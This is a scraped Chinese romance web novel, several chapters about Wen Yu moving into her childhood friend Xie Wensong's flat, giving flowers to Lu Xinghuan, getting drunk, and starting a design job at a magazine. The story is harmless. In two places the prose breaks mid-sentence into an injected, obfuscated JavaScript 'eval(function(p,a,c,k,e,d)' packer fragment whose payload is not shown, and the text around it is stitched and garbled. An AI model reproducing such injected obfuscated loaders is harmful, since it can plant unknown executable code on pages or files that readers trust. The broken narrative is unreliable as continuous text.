“那行吧。”温成钢抬起手拍了下女孩的肩头,看着她低垂的眉眼,是一贯的安静淡定,未出口的话似乎斟酌之后才开口,“有需要就和我或者你妈说,别一个人憋着。” 这句话听上去看似带了点薄薄的温情,温遇心里反而没什么感觉。 也许是心情不太好,她只嗯了一声,和家里人告别,正要往门口走。 “姐——姐——” 拉长的声音,咬字还不太清楚。 是温途。 徐翩禾惊喜地配合着喊了声:“诶,是姐姐,是姐姐。” 温遇往外迈的脚步停了一下,然后回头,走到温途的旁边。 看见男孩眼里的情绪似是闪着光,又仿佛是因为病情的原因有点混沌。 温遇很轻地拉了下他的手,语气里带着对小孩的哄:“姐姐要去工作了,小途要好好的吃饭休息。” 刚要松开手,温途慢吞地开口:“工……作……是……” 温途吐字很慢,温遇也不着急,等他说完才回:“是每个人都要做的事情。” 温途似乎不太懂,可还是茫然地点了下头:“那姐姐也……好……好的……” “吃饭”、“休息”这类字眼对他来说,还不太能说清楚,意思也朦胧,而“好”这个字他读出来又有点费劲,只能学着温遇刚才的咬字勉强念出来。 温遇笑得很轻,松开手,摸了下温途的头顶,拒绝了徐翩禾和温成钢要送她上车的想法,转身离开了家。 刚出门便看到谢闻颂已经将车停在门口,她拉开副驾驶的车门坐进去。 安全带的卡扣刚扣好,她低头解释:“刚才和小途说了两句话,就出来晚了。” “没事,我也刚把车挪过来。” 车里空间安静得有点过分,等红灯的时间,谢闻颂调出来平时鲜少听的情歌歌单。 开车的间隙看见副驾驶座的温遇撑着额头,垂落的长发挡住侧脸,谢闻颂还以为她困了,刚要伸手调小音乐的声音,旁边的人突然开口。 “谢闻颂,我没给你生日礼物这件事,你生气吗?” 这句话很轻,轻到谢闻颂从里面找不到任何情绪,他想了下才开口:“生气倒不至于,我们这么多年相处到现在,又不依靠礼物维持。” 对方沉默了一会儿,“我记得有一次我忘记了温途的生日,他没收到礼物,在家里哭闹了一个下午,我后来给补上了他才闹得不像之前那样。” “那是因为他生病了。”谢闻颂挺平静开口,“就算最后没送礼物也不是你的问题,没人要求你必须送,所以你也不用把这件事当成枷锁。” 温遇一字不落地把他的话听完,收回撑着额头的手,看向驾驶座的人眨眨眼,露出一抹俏皮狡黠的笑。 “可是怎么办啊。” “谢闻颂,我好想送你礼物啊。” 红灯亮起,谢闻颂踩下刹车,左胳膊圈在方向盘上看她,饶有兴致:“送我什么?” 女孩犯了难,眉头很浅地蹙了下,伴随眨眼的动作,睫毛一颤一颤。 是很生动的表情,和在温家大宅低眉顺眼的模样完全不同。 谢闻颂只觉得心脏在往下陷,喉间阵阵发痒,只好让他错开视线。 而此时红灯刚好变绿,回看温遇竟然还在纠结,他没忍住把她垂到鼻尖的头发挽到耳后。 “我不是说以后再还吗?你这姑娘怎么这么倔。” 被谢闻颂的指尖触碰到,温遇心跳都漏了一拍,迟来的不自在感让她迅速转过身重新靠在椅背上:“当然要快点还,不然你以后要有女朋友,知道我给你送礼物,肯定是要生气的。” 说完这句,温遇故作惊讶,“啊,对了,你现在还没有女朋友。” “……” 连着被噎了两下,谢闻颂真觉得眼前这人胡闹起来的样子简直比他祖宗还祖宗。 亏他刚才还为某人低落的样子而心疼。 这也太没良心了吧。 “你还替我操心上了。”谢闻颂简直被气笑,“怕我女朋友生气,你就不怕我生气?” 温遇听到这话也觉得在理,不过因为有了说他渣男被听到的前车之鉴,知道这人肯定不会真和她生气,于是倒也放下心来,没把他的威胁当回事。 趁谢闻颂不注意,温遇伸手摸了下他的头发,笑得一脸天真无害:“没事,你比较好哄。” “……” 谢闻颂强忍着把人扔下车的冲动。 他到底是怎么和这个祖宗认识的。 现在后悔认识还来得及吗? - 没来蓝湾以前,温遇觉得每月租金一千八是某人给她青梅竹马的友情价。 来到蓝湾才发现,这特么简直是花小费住六星级酒店的待遇好吧。 温遇严重怀疑谢闻颂是不是在做慈善给自己积攒好人缘。 房子位于蓝湾B座20层,一梯两户,刚好是互为邻居的两间房。 谢闻颂走到靠右边那间,低头打开电子锁。 温遇握着行李箱把手进去,鞋柜里有双塑料拖鞋,她穿上后绕着房子转了一圈,眼睛里的光都快流出来。 路过电视桌上面的摆件,她都抑制不住想去摸两下,拉开落地推拉门,双手扶在阳台的栏杆上,任由微风拂过脸庞,她没忍住伸了个懒腰。 谢闻颂撑在门框上的手收回,又将温遇的行李箱贴着墙放好,双手插兜也往阳台的方向走。 温遇听见脚步声,没忍住回头:“谢闻颂,这么好的房子,你真舍得给我住啊?” 来之前她有过心理预期,以为这房子会是一间许久不住人而空荡下来的样板房,没想到还真如谢闻颂所说,里面家具一应俱全。 布置的还都是她很喜欢的风格。 苹果绿和浅粉的壁纸,家具也是她比较偏好的欧式风,她刚才手指摸过电视柜上的摆件,上面竟然没有灰尘。 还是间经常打扫的屋子。 谢闻颂听她这话有点好笑,“不给你住,难道让你现在就拉着行李箱走?” “你舍得啊。”温遇开玩笑似的回了句。 “不舍得啊。”风很轻,却不知道怎么把谢闻颂的额发微微吹起,他看上去心情挺好,语气低沉温柔,“你不是说我最好哄了吗。” 被自己打趣他的话噎了下,温遇难得沉默,和他一同站在阳台上,好似回到从前很多个并肩站在一起的瞬间。 不过很多事也和曾经不尽相同,各自都有了不能分享的小秘密。 不过还好,他们对待彼此仍旧真诚。 “谢谢。” 谢闻颂扬眉:“不客气。” 还没等温遇把慢半拍的感动提上来,就听他道:“所以以后记得对我好点,不然哪天你又说什么话给我气出病,看谁还对你这么好。” “……” 她、就、知、道。 某人给她感动之后,肯定没憋好话。 - 看见温遇准备收拾房间,谢闻颂拎起鞋柜上的钥匙串就要走,温遇叫住他,问要不要一起吃饭。 毕竟今天,谢闻颂几乎把大部分时间都花在她身上了。 “下次吧。”谢闻颂转过头,“今天还有会要开。” “啊?”温遇以为那是他帮自己解围的借口,没想到竟然是真的。 见某只兔子呆愣在那,眼里又流露出类似歉疚的情绪,谢闻颂就压抑不了自己想逗弄她的心情,左手撑在鞋柜上,朝她勾了勾手指,“你过来点。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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少年从小到大都纵着她,见她那么兴奋,不爱拍照的自己也听女孩的指挥摆出他觉得很傻很傻的动作。 虽然谢闻颂长大之后没再看过那些照片。 不过他认为那统统都是黑历史。 上高中之后,课业繁多,温遇平衡学习和爱好之余,开始把自己的作品发到网上。 从零星只有几个人点赞到如今是官方认证的v,温遇把更多归结于幸运。 校招投递简历的时候,她为了能通过的几率大一些,写上了自己就是“小鱼丸了”——她社交平台账号的名字。 过了一周,Mentha给她打电话,让她准备几天后的面试。 面试结束已经是六月尾声,温遇顺利毕业,计划了满满当当的毕业旅行,结果在西班牙待的第二天晚上,收到了offer。 酒店的床单被她滚皱,等到兴奋渐渐平息下来,她仰躺在床上,脸上笑意一点点淡去。 因为她不知道消息该分享给谁。 翻了翻通讯录,最后也只和程以桉说了这件事。 再然后就是昨天晚上,和谢闻颂提的那一嘴。 窗外不知何时已经下起了雨,闷闷地砸在玻璃上,斜着晕开一条条水渍。 她将头发吹干,穿着睡裙躺在床上漫无目的地刷手机。 开心消消乐发出“unbelievable”的音效,手机顶端弹出程以桉的新消息。 “陆星桓明天中午到南川,下午我哥他们搓了个局接风,你来吗?” 像是品尝珍馐时不小心咬开一粒花椒,温遇舌尖都有点发麻。 打游戏的动力减了大半,她索性直接退出游戏界面,回到和程以桉的聊天框。 指尖停留在屏幕前迟迟未动,没有刚才退出游戏时的爽落,过了会儿才回复。 小鱼丸了:去。 那边似是不意外她这样回答,回了个“OK”。 玩游戏的兴致被完全打乱,温遇索性直接把手机放到床头柜上,下意识把床边坐着的小熊揽在怀里。 手指摸到玩偶身上补丁的开线,温遇的思绪被拽回这个夏季雨夜。 她举起小熊,盯着它已经被时间磨得没有光泽的塑料眼珠,然后再次深深抱在怀里,很闷地叹了口气。 心里却在想。 今晚有小熊战士在,应该不会做噩梦吧。 7.鱼鱼 7/ 温遇是被窗檐滴落的雨声吵醒。 摸到枕边的手机看了眼,比闹钟定下的时间还要早半个小时。 正式工作前的最后一个周末,她身上懒洋洋的劲儿还未散去,窝在床上又起刷手机,希望周末的时间能再过得慢一点。 等到闹钟铃响,温遇这才掀开被子下床。 她原本以为第二天早晨会是晴天,结果醒来后发现天空还是一片灰蒙蒙。 这雨断断续续下了一夜。 程以桉给她拨视频电话的时候,她刚把HelloKitty的粉色束发带戴在头上。 视频连通,她把手机放在一旁,正往脸上泼水。 “你刚醒啊。”那边看到她在洗漱,没忍住问。 “对。” 温遇以为是她起晚了,又凑近手机看了眼时间,边挤洗面奶边回:“他不是下午才到?” “是啊。”程以桉打了个哈欠,“我哥大早上就把我吵醒,他们几个去机场接了,我没去,寻思一会咱俩一起过去来着。” “打个视频就是看你醒没醒,估计一会儿就到你家了。” “……” 话说到这,刚把泡沫抹在脸上的温遇愣了下,然后顶着满脸泡沫看向手机:“你往城南去了?” “嗯。”程以桉下意识接一句,然后和屏幕中的温遇四目相对,心头不好的预感顿时漫上来,她声音拔高了一个度,“你没回家住?” “……”温遇没说话。 这还有什么不明白的。 刚才还纠缠程以桉的瞌睡虫被驱散了个干净,她伸手按揉太阳穴:“地址发来,快点。” - 蓝湾对进出的车辆有严格管制,温遇让程以桉在大门口等她就行,她说自己马上就到。 拉开车门,温遇捋顺裙摆坐进去,把手里提着的保温袋抵到程以桉手上,唇角弯起一个讨好的笑:“刚做的三明治,还热乎着,要吃一口吗?” 温遇见某人嘟着的嘴,没忍住上手摸了一把。 程以桉打开保温袋,拿出里面的三明治,拨开外面的包装纸,恶狠狠道:“一口也不给你留。” 她在自家闺蜜面前也没顾及什么形象,一口咬下,嘴角沾上沙拉酱:“话说你怎么搬到蓝湾来了?因为这离你单位近?” 温遇没瞒着她,“这是谢闻颂的房子,暂时租给我住。” “噢。”程以桉嘴里嚼着东西,吐字不清,“不过你上次都说他渣男,还说他是不是去国外整容,这玩笑开的他是一点不记仇啊。” “他说他挺好哄的。”温遇今天绑了个侧麻花辫,刚才出门急跑了两步,略微有些松散,她取下发尾的小皮筋重新系了下。 “也就你能让谢闻颂这样。”程以桉随口吐槽了句,“有时候也不知道你俩到底谁才是公主。” 温遇笑了声没回这句,“一会在花店门口停一下呗,我下去趟。” 程以桉点头。 不用问也知道是送给谁的。 毕竟温遇从小到大,只给一个人送过花。 …… Nocturnal二层包厢,程以桉和温遇推门进去的时候,里面正聊得热闹。 坐在陆星桓旁边嘴最贫的人瞅见她俩,没忍住吹了个口哨:“哟,程大小姐,温小公主,全场就等你俩了。” 一时间视线都拢聚过来。 程以灏给妹妹递了个眼神,又看向温遇。 刚才程以桉去接温遇的事已经和他说过,女孩子大多脸皮薄,自家妹妹的性格他了解,只是怕温遇会因为调侃而不自在。 于是他补了句:“没迟到,我们也刚开始。” 温遇抿唇笑了下,没有说话。 程以桉却对这种耍嘴皮子的没什么特别好脾气,“郑钧,你下次最好别逮到机会让我去你家,不然你细心呵护的那片菜园说不定变成什么样呢。” 正开玩笑的郑钧脸上表情僵住片刻,想起之前程以桉把他侍弄的菜园采摘一空,顿时后背一阵寒意,撇撇嘴:“真是惹不起你,我还是和温小公主多说说话吧。” 程以桉仍旧稳定输出:“有这时间和我们家温遇说话,不如早点搬家,最好别让我发现你新地址在哪。” 郑钧苦笑:“别啊祖宗。” 气氛被几句玩笑话打开,程以桉准备拉着温遇去吧台尝尝Nocturnal最近新调的特饮,路过刚才坐在长条沙发中央的男人。 温遇停下脚步,指尖攥紧,目光落到男人的脸上:“星桓哥。” 原本闲散靠在沙发背的人抬头,似乎有点讶异,随即站起身,眼神不似刚才那般随意,添了几分温和:“温遇妹妹,挺久没见了。” “欢迎回国。”四个字被她咬得有点僵硬,刚出口温遇就后悔自己怎么把话说成这样。 不过陆星桓似乎没看出来她哪里紧张,只觉得是小姑娘或许对他不熟,不知道怎么打招呼才这么说的,淡笑了下:“谢谢。” 直至坐在吧台上,温遇捏紧的指尖还有点发麻,程以桉坐在旁边,接过蓝紫配色的特调酒抿了口,微微皱眉:“怎么这么酸。” 她余光瞥向温遇,对方没听见她说话。 她以为温遇在想事,就没继续说。 结果隔了十秒之后,某人扭头:“你刚才说什么?” “……” 程以桉把她刚才喝过的同款特饮推到温遇面前,面无表情:“你还是喝果汁的时候更像个公主。” “……” 温遇不怎么爱喝酒,小时候偷尝过啤酒,但是她觉得太苦了,所以一般只喜欢喝清甜的果汁。 今天也不知道怎么了,看着眼前杯子里渐变色好看到过分的液体,扶着吸管尝了口。 给了个一般的评价就将胳膊肘放在吧台上,把半边脸埋起来。 她今天穿的裙子是一字领露肩的款,微微伏下上身的时候露出很薄的肩背,线条流畅的肩颈线毕露,头顶的昏黄吊灯仿佛隽写温柔笔墨,落地窗外,仍旧阴云密布。 这样的气氛,几分慵懒,几分微醺。 程以桉见她没什么情绪波动的脸,声音低了点:“还是喜欢?” 少女的眼中似乎因为这两个字有了波澜,可她还是一字未说。 搁在吧台上的手似乎又攥紧了一点,此时程以灏走过来,似乎要找程以桉说话,温遇朝她点点头,临离开时,程以桉轻轻握了下她的手。 面前又是一片空荡荡,温遇将那杯特调酒彻底饮尽,走到包厢的门口想出去透透气。 正巧撞见走廊另一头的陆星桓朝这边走来,他手上捏着纸巾,正擦拭手指缝隙残余水渍。 往外走的脚步当时就要转弯。 也不知道是不是酒精壮胆,她大脑异常清醒。 温遇双手放在裙子两侧,在陆星桓的身影停在她面前的时候,稳住声音开口:“星桓哥,能耽误你一点时间吗?” …… Nocturnal的室外停车场,温遇拜托程家的司机把后备箱打开,她小心翼翼地把罩在花束上的塑料薄膜揭下,露出层层叠叠雪梨纸包扎的漂亮花束。 花朵配色和整体布局都很和谐漂亮。 温遇确实是学设计的。 这是她在花店挑了挺久才包扎成的这一束,她和程以桉之所以卡点到也有这一部分原因。 不过圈子里基本都是熟悉的人,偶尔迟到一小会儿并不是多大的问题。 温遇弯身将花束放在副驾驶的时候,程以桉问她怎么没提前订好,她说:“亲手一枝一枝挑,可能比较有诚意吧。” 怕鲜花枯萎太快,温遇特意找花店老板要了张保持温湿度的塑料膜,临进包厢前还往花束上洒了水珠。 当时她还不知道这束花什么时候才能送到陆星桓的手里。 此刻掀开塑料膜,花朵如几个小时前一般鲜艳,花瓣上仍旧有水珠飘落,像从脸颊旁滑落的一滴温热泪。 温遇松了口气,将雪梨纸的褶皱抚平,抱起这束花转身递给陆星桓,自然牵起笑容:“星桓哥,这束花送给你,希望你回到南川的生活可以顺顺利利。” 她从小到大的语文成绩一直很好,高中毕业给人写同学录时能做到给每个人的祝福语都漂亮到说不出任何毛病。 可是此刻,她看着陆星桓的眼睛,斟酌之后也只说了祝他顺利。 夏天的风很烫,烫得她一手心热汗。 陆星桓伸手接过她的花,低垂眼睫,俯首轻轻嗅了下:“很香,很漂亮。” 薄唇溢出浅笑:“谢谢温遇妹妹,我很喜欢。” 女孩没错过他的笑,眼前像有百叶窗翻动,心跳几分加快:“那个……花朵枯萎之后可以做成干花。” 别扔掉了。 至少,别全都扔掉了。 这句话她没有说出来,几乎在风里被磨得没有任何棱角。 陆星桓微愣,点头答应下来,随即再次对她开口:“你有时间吗?我的车就在旁边,可不可以和我过去一趟。” 温遇自然没拒绝,陆星桓的车停在室内的vip区,需要走一段距离。她今天穿了双带点跟的鞋,走路没有往常快。 陆星桓抱着花,走在她旁边,微微侧头就看见女孩侧麻花辫的尾端坠着钻石星星发绳。 果然小女孩都喜欢这种装饰品。 将花束放在副驾驶,顺 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温遇心里想自己今天的目的已经达到,加上也不知道是不是因为喝的那杯特调酒精浓度有点高,总觉得自己脑袋晕晕乎乎的,早点回去休息也好。 于是她俩提前告别,乘车离开。 电梯一路上到二十层,温遇迈出电梯门,一边从斜挎包里摸钥匙。 摸半天没摸到,才想起来蓝湾用的都是智能电子锁。 “……” 她摁了摁太阳穴。 看来是有点不清醒。 下次再也不喝酒了。 给她喝酒的都是坏蛋。 不过还好在清醒的时候把花给陆星桓了。 至少没说错话。 虽然说得磕磕绊绊。 呜,她怎么什么事也没做好。 善于复盘的鱼鱼同学回想自己这一天,开始细数自己的行为的不妥,然后反思。 裸露的肩膀靠在门上,她扭头,这时才发现隔壁的门竟然敞开着。 “滴——”电梯门打开,有工作人员把一个斜方桌搬进门里。 ? 谢闻颂这是把隔壁房子租出去还是卖出去了? 温遇转过身面对自家门,额头抵在门板上,从包里掏出手机,给某人发消息。 小鱼丸了:谢闻颂。 小鱼丸了:你是不是破产了。 小鱼丸了:那我的房租会涨价吗? 小鱼丸了:你别沉默,我害怕呜呜呜。 脑补出一出大戏的鱼鱼同学抹了把眼角根本不存在的泪,继续输出。 小鱼丸了:大不了,我把我的房子分给你一半。 小鱼丸了:不对,是你租给我的房子。 小鱼丸了:求求你别破产。 小鱼丸了:那什么,我前天借你的财运现在能还给你吗? 越说越乱,温遇在想措辞,对面弹出来新消息—— “……” 一串省略号。 这是什么意思。 这是破产还是没破产。 她正蹙着眉想,小腿处传来痒痒的触感。 底端消息同时弹出—— Song_:你回头看看呢? 温遇将头从门板上移开,愣愣转头,对上双熟悉的眼睛。 谢闻颂一手拿着手机,一手牵着狗绳,正似笑非笑地看着她,一贯没什么情绪的眼底此刻意味深沉。 是很明显的、对她的,意味深沉。 核桃贴着温遇的小腿正蹲在她脚边,身后是门板,她退无可退,连地缝都没有她藏的位置,于是只能看着谢闻颂一步步拉进和她的距离。 温遇的唇上是还未散去的淡淡酒精味道,直冲鼻腔,眼前人的脸等比例放大也好看。 思绪分叉,她在想整容不可能整出一张这样无瑕疵的脸吧。 看来她误会谢闻颂了。 那要不要认真道个歉。 温遇身上的气息仿佛在与酒气相搏,心脏全是噪声,抬头看见近在眼前的脸,眼睛也不自觉睁大:“谢闻颂,你干嘛。” 和她距离不到一米,谢闻颂堪堪停下,目光瞥了眼她手里护得跟个什么宝贝似的礼物盒,心情郁闷。 怎么自己送给她的平安符就没这个待遇。 谢闻颂盯着某人额头上被门板花纹硌的红印,怎么可能没闻出来她喝酒了,心想自己真有可能某一天突然被她气死。 “行啊你,温鱼鱼,出息了。” “我还没破产呢,就打算和我撇清关系了是吧。” 8.鱼鱼 8/ 隔壁房间。 温遇双腿并拢,两只手放在膝盖上,俨然一副小学生坐姿。 她微垂着头,被酒精带得似乎有点困,眼睛闭上又睁开,实在忍不住就抬手揉眼睛。 而此时谢闻颂双手环胸坐在她对面。 处于中间位置的核桃转转黑漆漆的眼珠,瞅了眼安静如鸡的温遇,又看向面色不太好的自家主人,果断回到自己的狗窝咬上毛绒球,保持不站队的态度。 见某人要往桌子上给他磕头,谢闻颂果断坐到她旁边的位置,掌心垫在她额头上,“你到底是喝了多少。” 温遇额头上的红印还未彻底消去,贴上温热干燥的掌心,眩晕的感觉消散了点。 早上就吃了半个三明治,这一天下来肚子里没多少东西,还灌了杯不太好喝的酒,现在胃里直反酸水,难受得不行,温遇咕哝着:“饿……” 她嘴瘪着,一副可怜样,舌尖舔了下干燥的唇瓣,泛着迷茫的眼神看向坐在旁边的人,眼波清凌凌地又重复了一遍:“谢闻颂,我饿。” 谢闻颂的右手还贴在她的额头上,视线再往下,就是那双可怜巴巴望着他的眼睛。 见谢闻颂不说话,温遇孩子气地将挡在她额上的手推开,像个小孩一样开始玩自己裙子上的系带。 看来他是真的破产了,现在连饭都吃不起了。 手指缠上一圈两圈,她最终似乎还是被饥饿打败,正要起身自己去厨房翻吃的,就被某人拽住手腕拉回到座位上。 无奈但又不得不妥协的声音响在耳边—— “我去给你做饭,祖宗。” …… 橱柜里有谢闻颂之前存下来的挂面,他看某人刚才直嚷嚷饿的程度,估计等不到电饭锅煮米饭的时间,他索性直接下了碗面。 端着碗走出厨房的时候,他看见温遇和核桃四目相对,女孩唇瓣开开合合,不知道在交流什么。 将需要刷洗的锅铲放在洗碗池里面,他翻出套新的餐具用水冲了下,唤了句:“温鱼鱼,吃饭。” 他把餐具放在碗边,回厨房洗手,再出来的时候,温遇已经拿着筷子在挑面条。 她吃饭很安静,一筷子下去只挑一点面条放进嘴里,吃相也挺斯文。 也许是因为喝了些酒,胃里太空,此刻温热面条下肚缓解不适感,之前一直皱起的眉头终于放松下来,模样和刚才在门口问“能不能把财运还给他”的时候大相径庭。 心里嗤了下。 也就吃饭的时候乖巧点。 见温遇这边安静吃饭,谢闻颂又去给核桃添了狗粮,手头的活儿都忙完以后,他最后还是拉开椅子坐在女孩对面。 面汤上浮的热气熏红温遇的脸颊,她放下筷子,眼神在桌子上瞟,没看到抽纸,正想放弃,对面伸手递过来一包刚拆封的纸巾。 “谢谢。”温遇双手接过,认真从里面抽出一张,擦掉鼻尖的汗珠,动作堪称一丝不苟。 谢闻颂就这么靠在椅背上看着她吃饭,本以为她会一直安静到吃饭结束,却没想到她擦过汗之后直愣愣看着他。 “谢闻颂。”温遇慢吞吞喊他的名字,筷子拨动碗底剩下的一点面条,语气极其认真,“不管你破没破产,凭借这碗面的情谊,我都不会对你‘见死不救’的。” “……” 他真谢谢她哈。 “我没破产。”谢闻颂虽然并不打算和一个跟醉鬼并无二差的人计较什么,不过看她一本正经“安慰”自己的模样确实蛮可爱的,凶都不舍得凶她,只好用不知道哪儿来的耐心和她解释:“我只是搬家了。” “你不是住在‘环岛’吗?” “之前是,现在想多去别的地方住住,毕竟我房子多,够住。” “……” 这人。 怎么说话。 这么让人不舒服。 温鱼鱼选择继续埋头吃面。 她这辈子都无法和他共情。 哪怕这个人是她的竹马。 “不过——”谢闻颂单手托腮,看着女孩不太想搭理他的样子莞尔,“放心吧,破产也养得起你,公主。” - 谢闻颂洗完碗从厨房里走出来的时候,温遇侧躺在沙发上已经睡着,他从主卧的柜子里拿出条毛巾被盖在女孩身上。 结果他还没走两步,身后窸窸窣窣有动静。 转身才看见温遇正皱着眉扯发辫,他凑近看,是发绳上的钻石星星勾缠住女孩的头发。 “别扯。”谢闻颂半蹲在沙发边,掌心握住她正扯头发的手指,指腹挑出勾绕在五角星轮廓上的发丝,顺手帮她把发绳取了下来放在茶几上。 终于舒服的温遇再度倒在沙发上闭上了眼,呼吸逐渐平稳。 谢闻颂却没着急走,盯着她的睡颜看了会才起身去书房忙。 这么软妹的一张脸,怎么说起话来锋芒毕露。 偏他还拿她没办法。 …… 温遇醒来的时候刚好赶上橙红色晚霞的最后一缕飘落进落地窗。 拂开脸侧的头发,她睁眼才发现眼前并不是自己的家。 双手撑在沙发上正要直起上半身,摸着沙发沿的手触到毛茸茸的质感。 一看,核桃正把下巴搁在沙发沿上,黑漆漆的眼珠目不转睛看着她。 ? 鳞片状的回忆细碎飘入脑海,她隐约看见了谢闻颂的脸。 “……” 完蛋。 穿上拖鞋走下沙发,温遇寻着光源找到房间门前,刚要伸手敲,门却被人从里面打开。 谢闻颂一身水汽扑了温遇满脸,她手还扶在门框上,门里的强光让她一下子遮住了眼。 某人似乎发现了什么,揪着毛巾尾端的手啪一下把灯关掉。 温遇大脑死机两秒。 这个场景莫名熟悉。 反应过来之后—— 她怎么总是赶在谢闻颂洗澡的时候敲门啊? 整个屋子彻底暗下来,原本蛰伏在窗沿的霞光也被抹去。 一片寂静又掺着微妙尴尬的氛围里,谢闻颂站在原地不明所以地笑了声,深不见底的双眼正看着她。 “酒醒了?” 温遇一脸认真,完全没半点“耍酒疯”之后的羞愧感。 “我喝酒了?” “……” 看来是还没醒。 谢闻颂面无表情绕开她,似乎并不想和醉鬼聊天。 “诶,谢闻颂。”温遇收起刚才的表情,眼睛弯得像月牙,双手下意识想和从前一样去抓他袖口。 但奈何他穿的短袖,所以她只抓住T恤下摆,布料抻拉,强制让谢闻颂转过了头。 和某人过分冷淡的视线对上,她仿佛并没看见,仍旧笑着,只是嘴上的话没有刚才佯装的底气,有点儿小心翼翼。 “我错了。” 见他眼神不变,温遇松开拉他衣摆的手,谢闻颂还以为小姑娘被他刚才的冷淡刺激到,眼神微抬,刚想说什么。 “对不起!” 温遇双手像站军姿一样放在身体两侧,给他鞠了个九十度的躬。 她头发本来就因为睡觉散下来,此刻做完这个动作糊在脸上,又被她一把剥开。 俨然一个疯少女。 “……” 谢闻颂手都搭在冰箱门上,硬是被她这个举动震得没开,瞥向她的瞳仁漆黑,像乌云吸卷进去,洇成一小块难化开的墨滴。 温遇也觉得脸庞阵阵发热,后退到餐桌旁的椅子上,准备拿起斜挎包就打算离开。 “那什么,时间也不早了,我就回隔壁……” “站住。”谢闻颂虽然没有什么动作拦她,语气却不容置疑。 温遇握紧包袋,没再挪动一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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新家小区都是独栋别墅,搬家当天,乔若琳正抱着谢闻颂晒太阳,见是新邻居就互相聊了两句,关系也是这样一点点拉进的。 乔若琳和徐翩和熟悉之后,聊起两个孩子,发现谢闻颂只比温遇大几个月,感慨缘分是一件奇妙的事,邻里关系迅速发展,两个孩子也不断被大人带着出现在彼此眼前。 两个孩子稍微大点,乔若琳就和谢闻颂说:“这是妹妹,平时要多照顾妹妹。” 温遇三岁的一个夏天,两个妈妈带着孩子带着去水世界玩,结果不知怎么的第二天她就发高烧,紧急送往医院。 谢闻颂拉着妈妈的手去床旁看温遇,回家之后看向床头那只私人订制的、陪伴了自己很久的玩偶熊,在下一次去医院的时候从床头拿上。 乔若琳看在眼里没太注意,只觉得是谢闻颂太喜欢那只小熊,所以才要随身带着。 等到了医院,温遇额头正顶着退烧贴,左手打着点滴,还是一副恹恹的模样,看见她和谢闻颂来才撑起一抹笑。 护士进来换液,小姑娘也不哭不闹。 谢闻颂一路上紧紧抱着的小熊在这一刻松开,放到了温遇的怀里。 “妹妹,以后打针抱着它,就不疼了。” 乔若琳看到他这个动作,一开始还挺诧异。 毕竟这只小熊是谢闻颂外公之前送给他的,国外一个玩偶大师的定制款,做工十分精致,市面上基本买不到。 那个小时候谢闻颂一抱住就不撒手的玩偶小熊,就这样放在了温遇的手中。 像一颗灿烂而明亮的星辰入怀,在此后陪伴了温遇很多年。 小熊战士陪着她战胜很多漫长又难以预料的噩梦,追望所有故事的源头,是一双看向她时担忧又期待的眼神。 好像一直悬空的月亮在某刻下沉在绵软的汪洋里,温柔得一塌糊涂。 9.鱼鱼 9/ 入职第一天,温遇早上九点准时到市中心Mentha总部报道。 Mentha杂志在国内创刊较早,随着时代洪流往前推,市场逐渐扩大,在纸媒盛行的时代达到过业内前所未有的高度,但因为近些年数字阅读在碎片化时间里更具备优势,厚重的书本销量下降,纸媒行业迎来一波又一波的风险和挑战。 但是温遇本人却是实体书的重度爱好者,房间里书柜就占了差不多一面墙的位置。 艺术和科普类的书籍最多,青春期的时候,她尤其喜欢买时尚杂志,在还不成熟的年纪对着上面妆容精致、高挑漂亮的模特发呆,在想自己会不会某一天也能成为放在杂志上的人。 只是事实证明她想多了,因为身高限制了她的发挥。 高中毕业,她的净身高定格在一米六七不再增长,其实这在女孩中并不矮,只是达不到杂志模特的身高要求。 见喝牛奶也不管用,温遇索性放弃成为模特的想法,而是把目光放在杂志本身上面。 好看的封面,视觉效果极佳的版面设计,又何尝不是她喜欢看杂志的另一个方面。 于是她自然而然选择了设计这样一条路,带着兴趣学习的东西多多少少更容易吸收和消化,而且温遇始终觉得,哪怕自己只是人群中微不足道的一点,在投入某项行业里的时候,也要努力发光。 她是一个面对事情不轻易丧气的人,以致于程以桉有时候经常调侃她工作学习的时候简直是上了发条的元气少女。 于是努力发光的温鱼鱼同学在入职第一天,领取到自己的工牌之后,用湿纸巾将上面的塑封擦得干干净净,最后放在桌面上都反光。 邻座的林檬见新来的小姑娘一直在擦工牌,没忍住笑了下,手上敲键盘的动作未停,上半身却朝她这边偏:“同学,新来的?” 设计部在杂志社二楼,前几天就有同事提醒她把隔壁工位上的多肉盆栽挪挪位置,说有新人要来。 她一开始以为是实习生,还在想是不是要交给她带,后来才知道这位是直接进来工作,免掉实习期。 这一批直接入职的不止她一个,尽管如此,林檬还是有点好奇:“小姑娘,你多大了?” 温遇戴上工牌,见邻座的姐姐和她打招呼,双手放在膝盖上,认真回答:“姐姐好,我今年二十二,刚本科毕业。” 林檬将视线挪到对面那张胶原蛋白满满的脸上,虽然坐姿标准,但是浑身上下没有一点初来乍到拘谨的气质,刘海下正看着她的眼睛瞳仁清亮,微微提唇时苹果肌饱满,鼻梁挺翘,鼻尖圆润,长发扎成马尾梳在脑后,皮筋上缝了只圆润的粉色毛绒兔子。 笑起来的时候像飘落在唇齿间细碎的糖粒,弥漫一股动人的甜。 尽管身上是略显成熟的职业装打扮,但仍旧掩盖不住甜妹的气质。 林檬为了不让新来的同学被吓到,强忍着狠狠摸她头的冲动,没人看见的角落,她擦了下没有眼泪的眼角,心底一阵感慨。 好几年了,他们设计部都没有一个这样的乖妹妹,从她当实习生开始到现在,印象最深刻就是见证了斜对角王哥浓密秀发到熬夜秃顶的全过程。打工几年,虽然设计部每年也会有新同事入职,但大多她都没什么特别的印象。 要么沉默寡言和她鲜少交集,要么没干几个月就匆匆裸辞不告而别。 同行业为了不被社会淘汰卷得厉害,从这行转出去从事别的工作的人也不在少数。 每每想到这,林檬总是忍不住在心里叹了口气。 现在设计部零零散散不到二十个人,一半还都是工龄七八年往上的前辈。 上班如上吊,林檬已经很久没见到这么有朝气的年轻人,还是个挨着自己坐的甜妹。 不愧是刚毕业的大学生,眼里还有光。 